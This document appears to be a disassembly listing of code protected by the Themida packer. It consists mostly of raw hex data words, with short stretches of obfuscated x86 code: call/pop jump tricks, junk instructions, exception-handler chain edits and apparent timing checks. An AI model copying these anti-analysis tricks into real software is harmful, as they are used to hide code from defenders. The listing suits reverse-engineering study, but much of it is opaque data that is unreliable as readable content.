		dd 40000000h, 0A541C350h, 69BE009h, 0B3619281h,	359D2958h
		dd 8907E42Ah, 9D290446h, 7E4272Dh, 0BBBF6696h, 8996507Bh
		dd 0E4070185h, 0FB8B6607h, 0F89DB5FFh, 0F0BB07E7h, 892D2A8Ah
		dd 0E432F185h, 27D66807h, 0F6082DEh, 28Ah, 60D78B00h, 61615953h
		dd 29240481h, 8B7D40DCh, 0E414A5BDh, 0DAB70F07h, 0F8A5858Dh
		dd 6A07E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0E8E466C3h, 0E76D5D31h, 68E0FAEh,	89000000h
		dd 0E42DC9B5h, 0CE95007h, 86000000h, 68FE37Bh, 47B6BD0Dh
		dd 8958CEAFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 28AFD1C3h, 2D9995FFh, 0BD3307E4h
		dd 7E40AF1h, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0BC8B0F35h, 0E309263Fh, 1830Fh, 0C7FC0000h
		dd 0E422B985h, 307h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D89D676h, 7E429F1h, 0F8A5BD83h
		dd 0F0007E7h, 4A84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 950951F4h, 7E40A8Dh, 3DE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D9BD8B9Dh, 5007E417h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B8281FC3h
		dd 8960C463h, 0E413A18Dh, 0A5B58B07h, 6107E405h, 25A99D31h
		dd 0BD8307E4h, 7E422B9h, 92850F03h, 0E9000004h,	0Fh, 429E17ADh
		dd 3EF27B47h, 9837036Ch, 83E67CACh, 0E7F8A5BDh,	840F0007h
		dd 471h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Dh,	43C35141h, 0EBB9FA51h, 674AE348h, 0A5B5FFC4h, 0F07E7F8h
		dd 684h, 0B5EB8100h, 0FF21FC10h, 0E4044D95h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 10E90AE2h, 58000000h, 28A7D649h, 4704CAD0h, 3E50B9Dh
		dd 8B0639FEh, 0E7F899B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 6C7DF02h, 10001h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AC35040h
		dd 8BDD2517h, 0E42D81BDh, 96DF8B07h, 0AE86053h,	0FF000000h
		dd 0E94A85DFh, 0C12607D6h, 5F61595Ah, 0FE8B6650h, 89505296h
		dd 0E407AD95h, 535B5B07h, 0FB8B6651h, 0B5FF5B5Fh, 7E7F8A5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h
		dd 6FD2BE13h, 0BD8B560Bh, 7E41275h, 995FF5Bh, 6A07E42Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0CE2DC350h, 76118E2Eh, 8D8938E4h,	7E407ADh
		dd 0F899B58Bh, 6A07E7h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B3C8F2C3h, 0F5D2FC57h, 0BF66503Ah
		dd 8B5B735Bh, 0E4316585h, 0DFB70F07h, 0C48689F8h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 4DE4C356h, 8B66AE3Ch, 71958BDAh, 107E41Bh
		dd 0E41F11BDh, 4C28307h, 0FE9h,	9CA00C00h, 32D61AEEh, 1BD232B5h
		dd 0FB914BFAh, 28D0Fh, 0DF8B0000h, 6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 257C356h, 0D9B9781Fh, 40C783FDh, 0B0D9D8Bh, 858D07E4h
		dd 7E80CD4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	1DC35747h, 0DF2BF3B5h, 9D2BF511h, 7E431A9h, 192D9D89h
		dd 868907E4h, 0B8h, 0C51EF0BBh,	0F096BF7Eh, 6A2038h, 0F18589h
		dd 0B5FF07E4h, 7E7F8A5h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 34C35545h, 0FD125AC5h, 0AD95FFCEh, 0E807E431h
		dd 5, 47DCEE86h, 5BB1B365h, 50DA8B96h, 2FBBBB60h, 0FFB5659Ch
		dd 12E99661h, 4000000h,	0EA781AB0h, 75A2E360h, 92C5BCB9h
		dd 0FB87833Dh, 0A5B5FFE0h, 6A07E7F8h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FBC350h
		dd 0CFE6E65Fh, 0CB81BBF8h, 24BEC559h, 1B1195FFh, 0BD8B07E4h
		dd 7E40925h, 0DF9BD83h,	0F0007E4h, 7884h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 0BCF261B5h, 360C10D4h, 0AE8h, 44947900h, 0E31FB370h
		dd 0E9C90613h, 14h, 980036CDh, 0E16AA8FFh, 706450EBh, 0D3EF5393h
		dd 5BA9F0D8h, 8B66965Fh, 0BB6650DAh, 6A96E2E6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 4802C356h, 6881010h,	0A5B5FFA0h, 8907E7F8h, 0E426C9B5h
		dd 0F7816607h, 95FF0380h, 7E4027Dh, 0F8A5B5FFh,	6A07E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 73A593C3h, 0F19D8B52h, 5F07E419h, 97195FFh, 6A07E4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0CF4993C3h, 5798529h, 0BD8307E4h, 7E40A21h, 62840F02h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 28E0C353h, 24473513h, 8B1632B1h
		dd 0E423899Dh, 0B5858B07h, 0BF07E41Eh, 6227F8C6h, 6A0000C6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0F77AC353h, 39F5CB3Fh, 8B36F203h,	0E405F99Dh
		dd 7185C707h, 7E426h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0ADFCC350h,	0F307E909h
		dd 0D0BBFFFFh, 8B08298Eh, 50006AC1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0EF00C301h
		dd 85858DF5h, 6A07E40Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 7E47C352h, 95903ABBh
		dd 9E9502Fh, 92000000h,	64631886h, 0FDDC4C25h, 0F240489h
		dd 6AFABFh, 0BA5B509h, 6A07E4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 6EC35646h, 95898114h, 7E41945h
		dd 0EBCB858Dh, 6A07E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9A9250C3h, 843FEA11h, 5C083D4h
		dd 0E3D8531h, 665007E4h, 8999CDBBh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FB658AC3h
		dd 860F660Eh, 6, 20998589h, 6A07E4h, 0BD23DE8Bh, 7E41275h
		dd 8166006Ah, 0FF3A90E3h, 0E4247195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0F549AB6Fh, 273062BFh, 4B8D8D0Eh, 0BB07E7D6h, 2FE2B517h
		dd 8B56D1FFh, 0E42B099Dh, 0F605F07h, 38Dh, 0F08B6600h
		dd 53ECB866h, 15BD8361h, 107E420h, 80850Fh, 9D8B0000h
		dd 7E407A1h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0D78166C3h, 311FC996h, 0FE68BB90h
		dd 50505696h, 0FF98B52h, 3BB6631h, 90585A45h, 6E8h, 0C99C7100h
		dd 0B8C7FF3h, 0E42FA59Dh, 95FF5F07h, 7E431ADh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E956F954h
		dd 6, 11048C94h, 0FE947ACh, 0E800000Dh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E8EBD5h
		push	0
		push	edx
		call	sub_5D1072
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1072	proc near		; CODE XREF: Themida_:005D106Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5D1072	endp

; ---------------------------------------------------------------------------
		dw 8EB6h
		dd 6AB4F2E9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 84F5C352h, 56EC00CAh, 9E9h, 7EDF5200h
		dd 0E5D8CE2Fh, 8D5B78F2h, 0E7C6E185h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 2303F887h, 6676DAC8h, 17B3D88Bh, 60536050h, 52505861h
		dd 8E0Fh, 310F0000h, 310F5250h,	585A585Ah, 24048961h, 0B055D9BFh
		dd 35FF6421h, 0
; ---------------------------------------------------------------------------
		pusha
		xor	[ebp+7E41815h],	esi
		jmp	loc_5D1120
; ---------------------------------------------------------------------------
		dd 0CBB28E71h, 1B9E2E9Eh
; ---------------------------------------------------------------------------


loc_5D1120:				; CODE XREF: Themida_:005D1113j
		popa
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_5D1133
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1133	proc near		; CODE XREF: Themida_:005D112Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5D1133	endp

; ---------------------------------------------------------------------------
		db 0D7h
		dd 572D7C89h, 80DD4B86h, 85FFD88Ah, 7E420B9h, 2C31BD89h
		dd 0FF6A07E4h, 926AA2BBh, 0CE865h, 3C890000h, 9D7BC8CAh
		dd 0BE788E17h, 9D8B02E9h, 7E420F1h, 0EDB5FF5Fh,	6A07E40Ah
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0FB1C350h, 95FFDEB7h, 7E4304Dh, 123E9h, 0DEB70F00h
		dd 0DC8A00B0h, 0E4F970E6h, 4FADBF71h, 613C289Ah, 10A830Fh
		dd 0B60F0000h, 0A59501C8h, 0BA07E426h, 6, 0C18BDE8Bh, 0E95B5260h
		dd 0Ch,	0B4C17817h, 0CDDF3750h,	73029C6h, 4E8C161h, 6810Fh
		dd 8D010000h, 7E413E5h,	7E9h, 2B77600h,	4D287ABFh, 2BE2F766h
		dd 799531C8h, 8B07E422h, 6BBF66D1h, 6E9D7h, 9D8B0000h
		dd 7E427A1h, 0AD858Bh, 820F07E4h, 6, 15C9BD89h,	0C08307E4h
		dd 14E807h, 6D770000h, 7D7AE2C9h, 882BAE14h, 0D343015Bh
		dd 66E0DE2Ch, 0E85188E3h, 0Ah, 69BE009h, 31619281h, 5B5BDC94h
		dd 0C0835Bh, 0D03BDA8Bh, 11830Fh, 0B5890000h, 7E41485h
		dd 53E9h, 99950100h, 8B07E419h,	0E413998Dh, 0FF98B07h
		dd 486h, 61605600h, 1E1835Fh, 32840Fh, 0A5830000h, 7E41399h
		dd 13E9FEh, 61520000h, 1424FC71h, 72BB40B7h, 8A4FA64Fh
		dd 0DA6F7B42h, 0AD9589E3h, 8B07E400h, 0C99D8BDEh, 0E907E415h
		dd 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7E86072h]
		pusha
		movsx	ebx, bx
		or	[ebp+7E43575h],	ecx
		popa
		sbb	bh, 84h
		push	0
		mov	edi, esi
		call	dword ptr [ebp+7E40E41h]
		push	0
		push	edi
		call	sub_5D12F5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D12F5	proc near		; CODE XREF: Themida_:005D12EDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5D12F5	endp

; ---------------------------------------------------------------------------
		sub	al, 0E7h
		mov	bh, 0Fh
		add	dword ptr ds:60000000h,	57h
		pop	esi
		cld
		popa
		mov	ecx, 92Fh
		push	0
		push	ecx
		call	sub_5D1323
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1323	proc near		; CODE XREF: Themida_:005D131Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D1323	endp

; ---------------------------------------------------------------------------
		db 0D9h
; ---------------------------------------------------------------------------
		or	eax, ecx
		inc	ebp
		xchg	eax, ebx
		setalc
		pusha
		movzx	ecx, si
		movsx	ecx, cx
		popa
		xor	[ebp+7E40A85h],	ecx
		and	ecx, 0FFFFFFFCh
		cld
		cld
		mov	edi, 3359A30Dh
		sub	eax, eax
		push	0
		push	esi
		call	sub_5D135E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D135E	proc near		; CODE XREF: Themida_:005D1356p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5D135E	endp

; ---------------------------------------------------------------------------
		scasd
		mov	esp, 0DEC6E863h
		pop	edx
		std
		mov	ebx, 6F2A72FAh
		add	di, 1138h
		mov	edx, 0
		push	0
		push	ebp
		call	sub_5D1390
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1390	proc near		; CODE XREF: Themida_:005D1388p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5D1390	endp

; ---------------------------------------------------------------------------
		adc	ah, bl
		sal	dword ptr [eax-76F5AD6Fh], 85h
		sub	ds:33AD07E4h, esp
		retn	0E8D1h
; ---------------------------------------------------------------------------
		dw 0D003h
		dd 7504E983h, 55BD8BF4h, 0D07E400h, 88h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 80C35141h, 6602BCC0h
		dd 8B0F35BBh, 0E41B7195h, 67EB8007h, 2DA18D8Bh,	0C78107E4h
		dd 9C8AAAAh, 50FABF0Fh,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 8D9D8B58h, 6A07E414h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 82BBC356h
		dd 29BD0969h, 8307E426h, 0E40611BDh, 840F0007h,	56h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9DC35747h, 9B7EB3A1h
		dd 16F55F4h, 0E42FBDB5h, 0B8F907h, 8D000000h, 0E44FE78Dh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 80E1FFACh, 0BD83ABD7h, 7E422B9h,	28840F00h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8312C356h, 0E422B9BDh,	840F0107h
		dd 41Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0AAC35545h, 0BD8B5453h,	7E405F9h, 22B9BD83h, 0F0307E4h
		dd 3B386h, 0BD896000h, 7E424C5h, 0BD8B6061h, 7E4148Dh
		dd 0FD98C66h, 0A89h, 61606000h,	2F018D89h, 806107E4h, 6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 84504BC3h, 630C4BC7h, 81E13D78h, 0B3DC70D7h,	0FC90A36h
		dd 13D84h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0C5F48B47h, 51858B1Ah, 6A07E406h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 648FC355h, 2B4047D1h, 0B5895F4Ah,	7E425F9h
		dd 9E8h, 2C96E400h, 0D2EB9BB3h,	800FA4BAh, 3, 5FF8B70Fh
		dd 20298533h, 0BD8907E4h, 7E431BDh, 66525050h, 310FDE8Bh
		dd 2830Fh, 61600000h, 489585Ah,	0DB816624h, 6A0605h, 8BC3D780h
		dd 0E409D99Dh, 2426807h, 0F98BD9CBh, 0BD240481h, 8B265401h
		dd 0E415A59Dh, 9995FF07h, 6A07E42Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0BBEAC351h
		dd 29A5CA8Ch, 2DE98D89h, 858907E4h, 7E7F8A5h, 11E9h, 71578E00h
		dd 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh, 860FD036h,	1Ah, 0CE860h
		dd 29E00000h, 0C950869Ah, 295110AFh, 8B58F499h,	0E40B01BDh
		dd 9E96107h, 6A000002h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0ED05C350h,	116D8F10h
		dd 858BFE8Ah, 7E7F89Dh,	0A1DB589h, 0C707E4h, 18h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C1C35242h, 89677739h
		dd 0E404E595h, 0CE907h,	0BC320000h, 104C3994h, 260B08F4h
		dd 0B58B0E8Dh, 7E7F8A1h, 99858BF8h, 6A07E400h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F73CC355h, 0E205EEE1h, 0DD9D891Eh, 8907E403h, 0E41A2D85h
		dd 6A068907h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7225C352h, 9B38189h, 0E42165B5h
		dd 19880F07h, 0E9000000h, 14h, 0A2CD83E3h, 8087022Fh, 9290B1D2h
		dd 38FFA8DAh, 0F969A9BEh, 651858Bh, 6A07E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 15F750C3h
		dd 0A8BC46E7h, 66044689h, 5050F88Bh, 8F0F6052h,	0
		dd 0AE8h, 0AFACB900h, 0B4D3CB5Dh, 58DAB56Ah, 66310F61h
		dd 5A5C60BFh, 24348958h, 0FFFFB70Fh, 0E7F89DB5h, 4E8F507h
		dd 0FF000000h, 50001F03h, 0EE852h, 6AE20000h, 71941453h
		dd 259E70B9h, 0EFAAAEh,	0F5B39B3h, 0F88B6631h, 0F50585Ah
		dd 168Bh, 10E800h, 0A0370000h, 7341B011h, 3D77DF21h, 7182F3D6h
		dd 8B5F47DFh, 0B3042444h, 8B008B1Fh, 244489FBh,	8B665804h
		dd 0A5858DF8h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 9AF1C350h, 5090F88Bh
		dd 0DF79BF52h, 310F0222h, 1200BB66h, 0BF50585Ah, 6FA2B781h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 86183391h, 0E75F6FE6h, 95FF6EF0h, 7E42D99h
		dd 859D3361h, 0C707E422h, 0E422B985h, 307h, 0FED78000h
		dd 0F8A5BD83h, 0F0007E7h, 1784h, 0C19D8B00h, 0E907E401h
		dd 27h,	279BD89h, 9D8B07E4h, 7E432E9h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 831163BBh
		dd 0E422B9BDh, 850F0307h, 40Ah,	356DBD29h, 0BD8307E4h
		dd 7E7F8A5h, 0F7840F00h, 6A000003h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF03C350h
		dd 8E88A82Dh, 0FF92654Bh, 0E7F8A5B5h, 4D95FF07h, 8B07E404h
		dd 0E415C59Dh, 99B58B07h, 6A07E7F8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FCCC351h
		dd 106C7B8h, 6A000100h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0B83FC352h,	870F5030h
		dd 5, 0AE57C9BBh, 24348922h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 4AC35040h, 5958989h, 0FF07E409h
		dd 0E7F8A5B5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 64595076h, 60FAB70Fh
		dd 211B589h, 896007E4h,	0E42EC585h, 14E907h, 36CD0000h
		dd 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh, 61615BA9h
		dd 2A0995FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66A562C3h, 15E5DF81h, 0F899B58Bh
		dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 5E9B3C3h,	0B8000000h, 7D24D3FBh, 3165858Bh
		dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 719F7AC3h, 0DB4C2A52h, 8BFC33BAh,	0C48689DFh
		dd 0F000000h, 181h, 958BF800h, 7E41B71h, 0EE860h, 0CCA30000h
		dd 7AC67C8Ch, 65442799h, 5772B3F5h, 0F158D29h, 0F5807E4h
		dd 8361D9BFh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0C50BBDC3h, 3205089h, 0E42A399Dh
		dd 0D4858D07h, 6A07E80Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0B7DBC355h,	0B886895Fh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 66F9C352h, 6ADF8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 7B63FDF9h
		dd 0E936BFEEh, 5, 0E8B4195Bh, 0A5B5FF21h, 6A07E7F8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 398C357h, 0BB96AD83h, 0AE8F578h, 0CB000000h,	3A205C6Bh
		dd 223CA15Ch, 95FF5B79h, 7E431ADh, 1EBBF381h, 66962718h
		dd 50B937BFh, 0BE8h, 0F858E400h, 5B06058Ah, 8AD98C17h
		dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0C9F5DBC3h, 0FF570E5Ah, 0E7F8A5B5h, 0E5BD8907h
		dd 0FF07E423h, 0E41B1195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 666B4CDAh
		dd 8344C8BBh, 0E40DF9BDh, 840F0007h, 28h, 1871BD89h, 569607E4h
		dd 505F9EB3h, 0F810Fh, 0AE90000h, 3E000000h, 0B015168Dh
		dd 682C6585h, 0BF669696h, 9B75FA3h, 0F8A5B5FFh,	6A07E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0E8BB26C3h, 7D95FFEEh, 0FF07E402h, 0E7F8A5B5h, 68C0F07h
		dd 89000000h, 0E4068D85h, 7195FF07h, 0BF07E409h, 3C264CFCh
		dd 0BD835F51h, 7E40A21h, 4C840F02h, 33000000h, 0E41B659Dh
		dd 0B5858B07h, 8B07E41Eh, 0E42C319Dh, 0C607h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 97C35242h, 0D0E0583Ch
		dd 12E9h, 52843D00h, 0CE2F7EDFh, 78F2E5D8h, 608BC312h
		dd 0C790737Ah, 0E4267185h, 7, 8E900h, 0D2B90000h, 0FE170D90h
		dd 2FE998E5h, 66FFFFF4h, 0CFB2D781h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 708B33C3h
		dd 1DFFB350h, 0FE946E2h, 9D000000h, 0DECE9DB0h,	0CD064FD2h
		dd 47105587h, 858D7819h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 96C35242h, 0B443945Eh, 8E0Fh
		dd 0BF500000h, 544B41E7h, 60240489h, 0E9FEB70Fh, 12h, 4BF87FBFh
		dd 2495CB1Fh, 95DA318Fh, 36B301Dh, 6A616D24h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 2DEBFC5Eh, 0BB26A59Ch, 3A0EB515h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6FD6C1C3h
		dd 53E3D4Fh, 0FB71858Dh, 8B0F07E8h, 2, 0C083FE8Ah, 8CC38005h
		dd 50F98B90h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 121E85BBh, 0EE9h,	43D4AD00h, 6677E274h
		dd 0EB4F0DD8h, 6AC77996h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 1BFD2161h
		dd 0DA8B661Fh, 6A006Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 1CD89FC3h, 0FB70B37h, 86h, 0A19D8B00h
		dd 0FF07E418h, 0E4247195h, 0D1958907h, 8D07E40Ah, 0E7D64B8Dh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0E60B48A3h, 7E8h
		db 0
byte_5D1EDD	db 0ACh, 0FEh, 0ACh	; DATA XREF: Themida_:00582F4Co
		dd 6D16D5AAh, 6870Fh, 9D8B0000h, 7E425D5h, 6600BB5Fh, 0D1FF36D6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h
		dd 834EAFC7h, 0E42015BDh, 850F0107h, 0D8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AEC35141h, 72BC90BBh
		dd 30A108DAh, 0AC1BD89h, 26A07E4h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0A0C35242h,	8892B95h, 0E9075686h
		dd 13h,	0EEC9817Fh, 4714745Dh, 9730996Dh, 6E28F558h, 3AC05D8h
		dd 0E424C1BDh, 52509007h, 28F0Fh, 61600000h, 0BF66310Fh
		dd 585AF6E4h, 4880F50h,	66000000h, 90C81EBBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h, 2998589h
		dd 95FF07E4h, 7E431ADh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0DEC35141h, 8631A36Ch, 0B989DAFDh, 0DC4E9h
		dd 0E800h, 815D0000h, 0E8FB7BEDh, 8B66F907h, 0E1858DDEh
		dd 6A07E7C6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DF4FC353h, 0CB52D855h, 419B31FEh
		dd 22719529h, 509007E4h, 8990F88Bh, 0E4186985h,	0D9BD8B07h
		dd 6407E42Eh, 35FFh, 0BABF0000h, 64208852h, 2589h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 214B6AC3h, 85899047h, 7E420F1h, 20B985FFh, 0FF6A07E4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 44C35040h
		dd 0BA7F7122h, 1000BF66h, 5CCCC781h, 0B5FF0E84h, 7E402D5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h
		dd 0A2228744h, 26859D8Bh, 8A0F07E4h, 3,	0FF95CF80h, 0E4304D95h
		dd 153E907h, 95890000h,	7E41695h, 89958B60h, 8907E409h
		dd 0E408A1BDh, 0B06107h, 0DE05DB81h, 70E61D13h,	71E4FB8Bh
		dd 0CE9h, 3671F00h, 0D65B1740h,	3C4ED891h, 0F613C21h, 11883h
		dd 0B1952900h, 8B07E422h, 0C8B60FF9h, 2669BD8Bh, 6BA07E4h
		dd 57000000h, 0A752C381h, 8B5B1847h, 6E8C1h, 0EA570000h
		dd 5FC80E45h, 2AB59D0Bh, 0F5B07E4h, 384h, 0D8BF0F00h, 8104E8C1h
